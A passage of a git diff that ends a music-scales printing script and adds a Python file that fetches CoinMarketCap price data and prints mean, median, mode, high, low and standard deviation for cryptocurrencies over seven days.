max(len(get_pattern(scales[x])) for x in scales) + print('NAME'.ljust(max_key+3) + 'PATTERN'.rjust(max_value)) + for name, pattern in scales.items(): + print(name.ljust(max_key) + ' │ ' + get_pattern(pattern).rjust(max_value)) + +# Main +print_scales() +print_scale('F#','major') diff --git a/stdcap.py b/stdcap.py new file mode 100644 index 0000000..eba0962 --- /dev/null +++ b/stdcap.py @@ -0,0 +1,100 @@ +#!/usr/bin/env python +# CoinMarketCap Standard Deviation - Developed by acidvegas in Python (https://acid.vegas/random) + +''' +The script will calculate the mean, median, mode, high, low & std for the entire cryptocurrency market over the last 7 days. + +API Documentation: + https://coinmarketcap.com/api/ +''' + +import datetime +import http.client +import json +import math +import time +import statistics + +class CoinMarketCap(object): + def __init__(self): + self.cache = {'ticker':{'BTC':{'last_updated':0}}} + + def _ticker(self): + conn = http.client.HTTPSConnection('api.coinmarketcap.com') + conn.request('GET', '/v1/ticker/?limit=0') + data = json.loads(conn.getresponse().read().replace(b': null', b': "0"')) + conn.close() + return data + + def _markets(): + conn = http.client.HTTPSConnection('s2.coinmarketcap.com') + conn.request('GET', '/generated/search/quick_search.json') + data = json.loads(conn.getresponse().read()) + conn.close() + results = dict() + for item in data: + results[item['id']] = item['name'] + return results + + def _graph(self, name, start_time, end_time): + conn = http.client.HTTPSConnection('graphs2.coinmarketcap.com', timeout=60) + conn.request('GET', f'/currencies/{name}/{start_time}/{end_time}/') + return json.loads(conn.getresponse().read()) + +def generate_table(data): + matrix = dict() + keys = data[0].keys() + for item in keys: + matrix[item] = list() + del keys + for item in data: + for subitem in item: + matrix[subitem].append(item[subitem]) + for item in matrix: + matrix[item] = len(max(matrix[item], key=len)) + columns = [item.ljust(matrix[item]) for item in matrix.keys()] + print(' '.join(columns)) + del columns + for item in data: + row_columns = [item[subitem].ljust(matrix[subitem]) for subitem in item] + print(' | '.join(row_columns)) + +def stddev(data): + n = len(data) + if n <= 1: + return 0.0 + mean = avg_calc(data) + sd = 0.0 + for el in data: + sd += (float(el)-mean)**2 + sd = math.sqrt(sd/float(n-1)) + return sd + +def avg_calc(ls): + n = len(ls) + mean = 0.0 + if n <= 1: + return ls[0] + for el in ls: + mean = mean+float(el) + mean = mean/float(n) + return mean + +def get_data(coin, start_time, end_time): + try: + time.sleep(4) + data = [item[1] for item in CMC._graph(coin, start_time, end_time)['price_usd']] + return {'name':coin,'mean':f'{sum(data)/len(data):.2f}','median':f'{statistics.median(data):.2f}','mode':f'{max(set(data),key=data.count):.2f}','high':f'{max(data):.2f}','low':f'{min(data):.2f}','std':f'{stddev(data):.2f}'} + except: + return {'name':'none','mean':'none','median':'none','mode':'none','high':'none','low':'none','std':'0'} + +CMC = CoinMarketCap() +ticker_data = CMC._ticker() +start_time = int((datetime.datetime.now()-datetime.timedelta(days=7)).timestamp()*1000) +end_time = int(datetime.datetime.now().timestamp()*1000) +coins = [item['id'] for item in ticker_data] #[:10] +data = [get_data(coin, start_time, end_time) for coin in coins] +data = sorted(data, key=lambda k: float(k['std']), reverse=True) +generate_table(data) +size=len(CMC._graph('bitcoin', start_time, end_time)['price_usd']) +print('Spread acrosss 7 days - ' + str(size) + ' points') \ No newline at end of file